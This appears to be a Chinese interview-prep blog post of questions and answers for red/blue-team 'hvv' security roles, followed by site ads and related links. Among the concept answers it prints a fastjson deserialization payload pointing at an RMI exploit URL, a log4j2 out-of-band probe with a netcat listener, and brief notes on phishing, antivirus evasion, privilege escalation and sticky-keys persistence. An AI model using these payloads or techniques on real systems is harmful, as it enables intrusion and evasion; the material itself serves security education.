Hvv,面试经验

本文涉及的产品
云数据库 Redis 版,社区版 2GB
推荐场景:
搭建游戏排行榜
简介: Hvv,面试经验

Hvv面经基础问题(目录):1.简单自我介绍Kali工具使用Burpsuite等工具抓包蜜罐使用方法2.你在hvv/攻防演练中取得了哪些成绩?3.上一个工作的主要内容?4.有没有遇到过有意思的逻辑漏洞?5.有没有自己开发过武器/工具?6.有cve/cnvd吗?7.有src排名吗?8.有钓鱼经历吗?具体说说技术方面:如果看到一个告警ip,如何判断是否是真实攻击?如果看到一条sql注入告警,怎么判断是否是攻击成功?报错注入的原理是什么?文件上传的攻击特征是什么Webshell是什么,原理是什么如何检测Webshell常用的Webshell管理工具常见的网络服务器容器有哪些威胁情报平台一台主机在内网进行横向攻击,你应该怎么做SQL注入的预防序列化与反序列化的区别正向SHELL和反向SHELL的区别基础端口号如何查看当前进程?临时目录是哪个文件夹?用户列表是在哪个目录下(如何查看Linux有哪些用户)csrf跟ssrf区别常见的网络服务器容器Java常见的框架中间件及漏洞struct2框架fastjson框架shiro框架weblogic容器tomcat容器怎么防御csrfOSI七层协议盲注是什么?你会用什么办法溯源攻击方的个人信息呢和甲方上报 IP 地址,你要上报哪些地址呢?怎么通过流量分析 ,判断出对方攻击成功了?如果攻击的回显有延迟或者说攻击生效需要一定的时间 ,xss除了获取cookie还能干什么?ssrf的原理与危害?ssrf和csrf有什么区别?如何寻找注入点?有用过sql注入传马吗?–os-shell的条件?Fastjson的原理?利用fastjson注入内存马原理?内存马免杀有做过吗?具体说说不借助dnslog有办法检测log4j2是否出网吗你是如何验证struts2是否存在的有做过代码审计吗?有0day吗?Redis未授权有了解吗?Springboot 有哪些漏洞?冰蝎和菜刀等webshell工具有什么区别?xxe原理与攻击手法?序列化与反序列化的区别数据库有哪些,关系型的和非关系型的分别是哪些关系型非关系型PHP代码执行的危险函数PHP命令执行函数如何判断当前主机是否在域环境内?linux和windows怎么判断?什么是免杀免杀有几种途径?内网扫描的方式谈谈Windows系统与Linux系统提权的思路内网提权思路WinLinux权限维持的思路?单说一下mssql提权

基础问题:

1.简单自我介绍

答:面试官您好,我是xxx,。我熟练掌握Kali中工具的使用,会使用Burpsuite进行溯源,对于蜜罐的使用也是比较熟悉的。然后在校期间也是参加过项目研发的。

Kali工具使用

wireshark

Burpsuite等工具抓包

开代理,将关键数据send to repeater,修改

蜜罐使用方法

可以去HFish官网下载,上面有手册,可以按照上述步骤来。

2.你在hvv/攻防演练中取得了哪些成绩?

答:这是第一次参加国家级护网,但是参加过学校组织的攻防演练

3.上一个工作的主要内容?

答:主要是进行安全评估,同时负责总结,汇报情况,并申请采取对相应机器进行隔离。

4.有没有遇到过有意思的逻辑漏洞?

答:有一项功能为发布悬赏任务,金币从自己现有金币中扣。这一处存在竞争条件,并发漏洞。然后发布一个任务用了五个金币,并发出了10个,再回收任务,净赚95个金币。

5.有没有自己开发过武器/工具?

答:蜜罐,复刻的

6.有cve/cnvd吗?

答:我菜,没有

7.有src排名吗?

答:我菜,没有

8.有钓鱼经历吗?具体说说

答:伪造腾讯在线文档,二维码等骗取信息

技术方面:

如果看到一个告警ip,如何判断是否是真实攻击?

首先,我会先判断一下ip来源,判断是内网ip还是公网ip,若为内网ip,然后对请求包的内容是否存在恶意payload,然后再根据响应包内容有执行成功的回显,若相应包中有对应的payload的回显,则可以判断为攻击成功,但是此时,需要判断下是否为业务系统的逻辑造成的和是否是工作人员在测试业务系统漏洞,若工作人员证实了该告警为自家安全ip,则认为该攻击为误报,若非自家ip且不存在逻辑因素,则可判断为内网攻陷。若为公网ip,若恶意payload利用成功,则可判断为真实攻击。

如果看到一条sql注入告警,怎么判断是否是攻击成功?

对请求包的内容进行检查,检查是否存在sql注入的利用语句,同时检查响应包内容有执行成功的回显,若相应包中存在sql注入攻击成功的回显,则可判断攻击成功。

报错注入的原理是什么?

在MYSQL中使用一些指定的函数来人为制造报错,后台没有屏蔽数据库报错信息, 在语法发生错误使得查询结果能够出现在错误信息中回显在前端,从而从报错信息中获取设定的信息。

文件上传的攻击特征是什么

文件上传首先是POST的数据包,且content-type为multipart/form-data,如果为恶意的文件上传漏洞攻击,则数据包中filename属性的后缀为jsp,php,asp等恶意后缀,且文件内容一般为Webshell内容

Webshell是什么,原理是什么

WebShell就是一句话木马,由于脚本语言的动态性,木马文件通过命令执行system函数或者代码执行eval函数等,参数为用户外部传入(如GET传参,POST传参)达到执行任意代码任意命令的功能。从而远程控制目标主机。

如何检测Webshell

静态检测通过匹配特征码,特征值,危险函数函数来查找webshell的方法,只能查找已知的webshell。动态监测通过日志,流量,文件访问频率等方法进行检测。

常用的Webshell管理工具

冰蝎,蚁剑,哥斯拉,菜刀

常见的网络服务器容器

IIS、Apache、nginx、Lighttpd、Tomcat

有哪些威胁情报平台

微步,绿盟,阿里云,奇安信等

一台主机在内网进行横向攻击,你应该怎么做

确定攻击来源,是不是员工内部误操作,比如询问运维是否有自动化轮训脚本。如果没有,确定是攻击,结合时间点,根据设备信息,看一下安全事件,进程,流量,找到问题主机,开始应急响应流程:准备,检测,遏制,根除,恢复,跟踪,具体的操作要交给现场运维去处理。

SQL注入的预防

    预编译
    PDO
    正则表达式过滤

    序列化与反序列化的区别

      序列化:把对象转化为可传输的字节序列过程称为序列化
      反序列化:把字节序列还原为对象的过程称为反序列化

      正向SHELL和反向SHELL的区别

      正向shell,攻击者连接被攻击者机器反向shell,被攻击者主动连接攻击者正向代理,客户端代理,服务器不知道实际发起请求的客户端反向代理,服务器代理,客户端不知道实际提供服务的服务端

      基础端口号

      22:ssh端口23:telnet端口53:DNS端口80:web端口1433:sql-server端口3306:Mysql端口3389:RDP端口5432:postgresql6379:redis端口

      如何查看当前进程?

      Ps -ef 或 ps -aux

      临时目录是哪个文件夹?

      /tmp ,/var/tmp

      用户列表是在哪个目录下(如何查看Linux有哪些用户)

      /etc/passwd

      csrf跟ssrf区别

      CSRF (Cross-site request forgery)跨站请求伪造SSRF (Server-Side Request Forgery)服务器端请求伪造csrf 一个是客户端发起,ssrf是从服务端发起的

      常见的网络服务器容器

      IIS、Apache、nginx、Lighttpd、Tomcat

      Java常见的框架中间件及漏洞

      struct2框架

      一个基于MVC设计模式的Web应用框架)这个框架全是漏洞

      fastjson框架

      阿里巴巴开源的JSON工具解析库1.2.47版本前存在反序列化漏洞框架特征:post数据包,content-type为application/json, post内容为json数据,且其中有@type标

      比如

      {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
        },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"rmi://127.0.0.1:1099/Exploit",
            "autoCommit":true
        }
      }

      shiro框架

      apache的一个权限管理的开源框架,实现 用户认证、用户授权。若shiro框架服务端使用默认密钥,则会存在反序列化漏洞框架特征:cookie字段为存在rememberMe=xxxxx;

      weblogic容器

      一个基于JAVAEE架构的中间件weblogic存在许多漏洞,弱口令,SSRF,反序列化,任意文件上传,XMLDecoder反序列化框架特征,一般在7001端口,漏洞检测常用工具

      tomcat容器

      最常见的java web容器漏洞,弱口令,幽灵猫,PUT方法任意写文件框架特征,一般为8080端口

      怎么防御csrf

      1. 提交表单时,增加一个隐藏的token
      2. 验证 HTTP Referer 字段

      OSI七层协议

      物理层 数据链路层 网络层 传输层 会话层 表示层 应用层

      盲注是什么?

      就是你在测试注入数据库的时候,数据库没有任何回显,只显示对错。

      你会用什么办法溯源攻击方的个人信息呢

      1. 首先通过日志和蜜罐等方式获取到攻击方的 ip,可以对 ip 进行反向渗透获取信息,定位攻击者信息。
      2. 也可以通过搜索引擎或者安全情报,获取 ip 对应攻击者的网名id,再通过社交平台获取攻击者的信息
      3. 通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析
      4. 如果攻击者有种植木马等,可以提取样本特征如用户名、ID、邮箱、C2 服务器等信息—同源分析
      5. 搭载 jsonp 钓鱼的蜜罐,通过 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等

      和甲方上报 IP 地址,你要上报哪些地址呢?

      上报攻击 ip 的地址,先判断是内网 ip 还是公网 ip,如果是内网ip,查看是否是业务白名单行为,若不是再上报进行判断。若是公网 ip,查看是否在白名单内,若不是查看是否是扫描器 ip,若是扫描器 ip,扫描对业务或者对研判产生了影响则可以上报,若不是且判断出是真实攻击 ip 也进行上报。

      怎么通过流量分析 ,判断出对方攻击成功了?

      1. 可以通过返回包判断攻击是否成功,比如命令执行攻击有回显的话返回包就会有命令执行的结果。如果有一些安全设备的话也可以通过查看告警信息判断。
      2. 可以对请求包进行重放来判断,在自己的机器上重放流量包,将 payload 改成自己的 payload 来判断是否攻击成功

      如果攻击的回显有延迟或者说攻击生效需要一定的时间 ,

      你不能很快看见 ,那该怎么通过流量分析判断出攻击是否生效了?重放流量包,将 payload 改成自己的来进行判断。

      xss除了获取cookie还能干什么?

      答:用户劫持、结合csrf补充:貌似能提权??

      ssrf的原理与危害?

      答:伪造服务器给内网发消息

      ssrf和csrf有什么区别?

      答:csrf伪造客户端,ssrf伪造服务器端

      如何寻找注入点?

      答:字符,数字,盲注…

      有用过sql注入传马吗?

      答:用过into outfile补充:可以通过日志文件写入木马

      –os-shell的条件?

      答:拥有网站的写入条件补充:Secure_file_priv参数为空或者为指定路径。

      Fastjson的原理?

      答:启一个rmi的服务器,上面挂payload,让被攻击的目标反序列化特定的类,这个类最终会调用lookup()函数,导致jndi接口指向rmi服务器上的恶意payload

      利用fastjson注入内存马原理?

      答:不知道这里应该怎么说,例如spring mvc的话就是通过fastjson的反序列化,利用jndi的方式让web端加载恶意类,注入controller

      内存马免杀有做过吗?具体说说

      答:没做过,在网上找现成的补充:Filter名称是否合理Filter对应的类名是否合理Filter对应的类是否在classpath下网站web.xml中是否存在改filter

      不借助dnslog有办法检测log4j2是否出网吗

      答:dns到vps判断是否出网补充:使用logg.error(“KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: …s://xxxxx:8090/{java:version}}”);在自己的VPS上nc -luvvp 8090即可收到信息

      你是如何验证struts2是否存在的

      答:检测工具,或者抓包,改post,把content-Type改为application/xml,放上payload

      有做过代码审计吗?有0day吗?

      答:没有,没有

      Redis未授权有了解吗?

      答:有,可以配合ssrf打组合拳

      Springboot 有哪些漏洞?

      答:只知道一个snakeyaml

      冰蝎和菜刀等webshell工具有什么区别?

      答:冰蝎有流量动态加密

      xxe原理与攻击手法?

      答:解析XML输入时可以加载外部实体类,造成文件读取,命令执行等危害。直接dtd加载dnslog等等

      序列化与反序列化的区别

      1.序列化:把对象转化为可传输的字节序列过程称为序列化。2.反序列化:把字节序列还原为对象的过程称为反序列化。

      数据库有哪些,关系型的和非关系型的分别是哪些

      关系型

        MySQL:3306
        SQL Server:1433
        Oracle:1521
        DB2:5000MongoDB:27017---非关系型数据库

        非关系型

          Redis:6379
          Memcached:11211
          PHP反序列化

          PHP代码执行的危险函数

          call_user_func()call_user_func_array()create_function()array_map()

          PHP命令执行函数

          systemshell_execpassthruexecpopenproc_openputenvassert

          如何判断当前主机是否在域环境内?

          ipconfig /all看dns后缀,systeminfo、net config workstation、net time /domain

          linux和windows怎么判断?

          linux大小写敏感

          什么是免杀

          将shellcode进行加密,动态解密恢复,申请可写可执行内存并写入解密后的shellcode,将函数指针指向这块内存的起始位置并开始执行。

          免杀有几种途径?

          答:修改特征码、流量混淆、花指令、加壳

          内网扫描的方式

          内网fscan扫描 或者 搭建内网socks5代理然后走代理进行扫描

          谈谈Windows系统与Linux系统提权的思路

          内网提权思路

          1.代理穿透2.权限维持3.内网信息收集4.口令爆破5.凭据窃取6.社工7.横行和纵向渗透8.拿下域控

          Win

          提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。

            方法:  
            1.系统内核溢出漏洞提权 
            2.数据库提权  
            3.错误的系统配置提权 
            4.组策略首选项提权 
            5.WEB中间件漏洞提权  
            6.DLL劫持提权 
            7.滥用高危权限令牌提权 
            8.第三方软件/服务提权等

            Linux

              方法:
              1.Linux内核漏洞提权
              2.低权限用户目录下可被Root权限用户调用的脚本提权(SUID)
              3.环境变量劫持高权限程序提权
              4.sudoer配置文件错误提权

              权限维持的思路?

              答:加服务,加注册表 加启动项

              简单说一下mssql提权

              答:我只记得xp_cmdshell和自启动补充:trigger提权、沙盒提权、计划任务提权、sethc.exe 替换粘滞键提权(替换c:\windows\system32\下的sethc.exe替换c:\windows\system32\dllcache\sethc.exe)

              内容参考:https://blog.csdn.net/Kimi_Galex/article/details/125939981

              相关实践学习
              基于Redis实现在线游戏积分排行榜
              本场景将介绍如何基于Redis数据库实现在线游戏中的游戏玩家积分排行榜功能。
              云数据库 Redis 版使用教程
              云数据库Redis版是兼容Redis协议标准的、提供持久化的内存数据库服务,基于高可靠双机热备架构及可无缝扩展的集群架构,满足高读写性能场景及容量需弹性变配的业务需求。 产品详情:https://www.aliyun.com/product/kvstore     ------------------------------------------------------------------------- 阿里云数据库体验:数据库上云实战 开发者云会免费提供一台带自建MySQL的源数据库 ECS 实例和一台目标数据库 RDS实例。跟着指引,您可以一步步实现将ECS自建数据库迁移到目标数据库RDS。 点击下方链接,领取免费ECS&RDS资源,30分钟完成数据库上云实战!https://developer.aliyun.com/adc/scenario/51eefbd1894e42f6bb9acacadd3f9121?spm=a2c6h.13788135.J_3257954370.9.4ba85f24utseFl
              目录
              相关文章
              |
              16天前
              |
              SQL 分布式计算 监控
              Sqoop数据迁移工具使用与优化技巧:面试经验与必备知识点解析
              【4月更文挑战第9天】本文深入解析Sqoop的使用、优化及面试策略。内容涵盖Sqoop基础,包括安装配置、命令行操作、与Hadoop生态集成和连接器配置。讨论数据迁移优化技巧,如数据切分、压缩编码、转换过滤及性能监控。此外,还涉及面试中对Sqoop与其他ETL工具的对比、实际项目挑战及未来发展趋势的讨论。通过代码示例展示了从MySQL到HDFS的数据迁移。本文旨在帮助读者在面试中展现Sqoop技术实力。
              30 2
              |
              16天前
              |
              监控 负载均衡 Cloud Native
              ZooKeeper分布式协调服务详解:面试经验与必备知识点解析
              【4月更文挑战第9天】本文深入剖析ZooKeeper分布式协调服务原理,涵盖核心概念如Server、Client、ZNode、ACL、Watcher,以及ZAB协议在一致性、会话管理、Leader选举中的作用。讨论ZooKeeper数据模型、操作、会话管理、集群部署与管理、性能调优和监控。同时,文章探讨了ZooKeeper在分布式锁、队列、服务注册与发现等场景的应用,并在面试方面分析了与其它服务的区别、实战挑战及解决方案。附带Java客户端实现分布式锁的代码示例,助力提升面试表现。
              30 2
              |
              16天前
              |
              数据采集 消息中间件 监控
              Flume数据采集系统设计与配置实战:面试经验与必备知识点解析
              【4月更文挑战第9天】本文深入探讨Apache Flume的数据采集系统设计,涵盖Flume Agent、Source、Channel、Sink的核心概念及其配置实战。通过实例展示了文件日志收集、网络数据接收、命令行实时数据捕获等场景。此外,还讨论了Flume与同类工具的对比、实际项目挑战及解决方案,以及未来发展趋势。提供配置示例帮助理解Flume在数据集成、日志收集中的应用,为面试准备提供扎实的理论与实践支持。
              25 1
              |
              16天前
              |
              机器学习/深度学习 分布式计算 BI
              Flink实时流处理框架原理与应用:面试经验与必备知识点解析
              【4月更文挑战第9天】本文详尽探讨了Flink实时流处理框架的原理,包括运行时架构、数据流模型、状态管理和容错机制、资源调度与优化以及与外部系统的集成。此外,还介绍了Flink在实时数据管道、分析、数仓与BI、机器学习等领域的应用实践。同时,文章提供了面试经验与常见问题解析,如Flink与其他系统的对比、实际项目挑战及解决方案,并展望了Flink的未来发展趋势。附带Java DataStream API代码样例,为学习和面试准备提供了实用素材。
              39 0
              |
              17天前
              |
              分布式计算 资源调度 监控
              Hadoop生态系统深度剖析:面试经验与必备知识点解析
              本文深入探讨了Hadoop生态系统的面试重点,涵盖Hadoop架构、HDFS、YARN和MapReduce。了解Hadoop的主从架构、HDFS的读写流程及高级特性,YARN的资源管理与调度,以及MapReduce编程模型。通过代码示例,如HDFS文件操作和WordCount程序,帮助读者巩固理解。此外,文章强调在面试中应结合个人经验、行业动态和技术进展展示技术实力。
              |
              3月前
              |
              Dubbo NoSQL Java
              太为难我了,阿里面试了7轮(5年经验,拿下P7岗offer)
              今年的大环境非常差,互联网企业裁员的现象比往年更严重了,可今年刚好是我的第一个“五年计划”截止的时间点,说什么也不能够耽搁了,所以早早准备的跳槽也在疫情好转之后开始进行了。但是,不得不说,这次阿里面试真的太难为我了,可以说是和面试官大战了7个回合,不过好在最后给了offer。
              |
              3月前
              |
              设计模式 前端开发 JavaScript
              [干货满满] 三年经验前端的面试经验分享
              [干货满满] 三年经验前端的面试经验分享
              102 1
              |
              5月前
              |
              设计模式 Dubbo NoSQL
              6年Java经验,4面阿里定级P7,多亏阿里13万字+脑图+源码面试笔记
              互联网公司的面试,从形式上说,一般分为 2~3轮技术面 +1 轮 HR 面,不过某些公司没有 HR 面试。 在技术面试中,面试官一般会就你所应聘的岗位进行相关知识的考察,也叫基础知识和业务逻辑面试,只要回答的不是特别差,面试官通常会继续跟你聊聊项目,这个时候就开始了项目面试。
              |
              5月前
              |
              Java 中间件 Nacos
              集字节大神面试经验诚意出品:微服务(耀世版),助你向大厂迈进
              Spring Cloud Alibaba 为分布式应用开发提供一站式解决方案。它包含开发分布式应用程序所需的所有组件,使您可以轻松地使用 Spring Cloud 开发应用程序。
              |
              7月前
              |
              NoSQL Java 关系型数据库
              ssp offer技巧 | 面试经验专栏介绍 | 金九银十
              ssp offer技巧 | 面试经验专栏介绍 | 金九银十

              相关实验场景

              更多